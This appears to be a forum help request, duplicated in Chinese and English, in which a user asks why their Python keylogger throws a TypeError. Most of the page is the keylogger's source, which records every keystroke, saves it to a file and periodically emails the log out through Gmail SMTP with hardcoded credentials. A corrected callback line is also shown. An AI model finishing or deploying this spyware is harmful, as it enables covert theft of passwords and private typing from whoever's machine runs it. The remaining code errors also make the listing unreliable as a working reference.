您好,我的代码有问题,我该怎么做?
Hello, i have problem with my code, what i do correct?
我的代码有问题,我该怎么做?
keyboard_callback 有什么问题?
> import keyboard
> import smtplib from threading
> import Semaphore, Timer
>
> REPORT_TIME = 1200
> EMAIL_ADDRESS = "mail95069a@gmail.com"
> EMAIL_PASSWORD = "password123"
>
> class Keylogger:
> def __init__(self, interval):
> self.interval = interval
> self.log = ""
> self.semaphore = Semaphore(0)
>
> def keyboard_callback(self, event):
> name = event.name
> if len(name) > 1:
> if name == "space":
> name = " "
> elif name == "enter":
> name = "[ENTER]\n"
> elif name == "decimal":
> name = "."
> else:
> name = name.replace(" ", "_")
> name = f"[{name.upper()}]"
>
> self.log += name
> output = open("output.txt", "w+")
> output.write(self.log)
>
> def send_gmail(self, email, password, message):
> server = smtplib.SMTP(host="smtp.gmail.com", port=587)
> server.starttls()
> server.login(email, password)
> server.send_gmail(email, email, message)
> server.quit()
>
> def report(self):
> if self.log:
> self.send_gmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
> self.log = ""
> Timer(interval=self.interval, function=self.report).start()
>
> def start(self):
> keyboard.on_release(keyboard_callback=self.keyboard_callback)
> self.report()
> self.semaphore.acquire()
>
>
> if __name__ == "__main__":
> keylogger = Keylogger(interval=REPORT_TIME)
> keylogger.start()
回溯(最近调用最后):
进程已完成,退出代码为 1
文件“C:/Users/Keylogger.py”,第 58 行,在
keylogger.start()
文件“C:/Users/Keylogger.py”,第 51 行,开始
keyboard.on_release(keyboard_callback=self.keyboard_callback)
TypeError: on_release() got an unexpected keyword argument 'keyboard_callback'
...
def start(self):
keyboard.on_release(callback=self.keyboard_callback)
self.report()
self.semaphore.acquire()
...
我的代码有问题,我该怎么做? keyboard_callback 有什么问题?
> import keyboard
> import smtplib from threading
> import Semaphore, Timer
>
> REPORT_TIME = 1200
> EMAIL_ADDRESS = "mail95069a@gmail.com"
> EMAIL_PASSWORD = "password123"
>
> class Keylogger:
> def __init__(self, interval):
> self.interval = interval
> self.log = ""
> self.semaphore = Semaphore(0)
>
> def keyboard_callback(self, event):
> name = event.name
> if len(name) > 1:
> if name == "space":
> name = " "
> elif name == "enter":
> name = "[ENTER]\n"
> elif name == "decimal":
> name = "."
> else:
> name = name.replace(" ", "_")
> name = f"[{name.upper()}]"
>
> self.log += name
> output = open("output.txt", "w+")
> output.write(self.log)
>
> def send_gmail(self, email, password, message):
> server = smtplib.SMTP(host="smtp.gmail.com", port=587)
> server.starttls()
> server.login(email, password)
> server.send_gmail(email, email, message)
> server.quit()
>
> def report(self):
> if self.log:
> self.send_gmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
> self.log = ""
> Timer(interval=self.interval, function=self.report).start()
>
> def start(self):
> keyboard.on_release(keyboard_callback=self.keyboard_callback)
> self.report()
> self.semaphore.acquire()
>
>
> if __name__ == "__main__":
> keylogger = Keylogger(interval=REPORT_TIME)
> keylogger.start()
回溯(最近调用最后):
进程已完成,退出代码为 1 文件“C:/Users/Keylogger.py”,第 58 行,在
keylogger.start()
文件“C:/Users/Keylogger.py”,第 51 行,开始
keyboard.on_release(keyboard_callback=self.keyboard_callback)
TypeError: on_release() got an unexpected keyword argument 'keyboard_callback'
...
def start(self):
keyboard.on_release(callback=self.keyboard_callback)
self.report()
self.semaphore.acquire()
...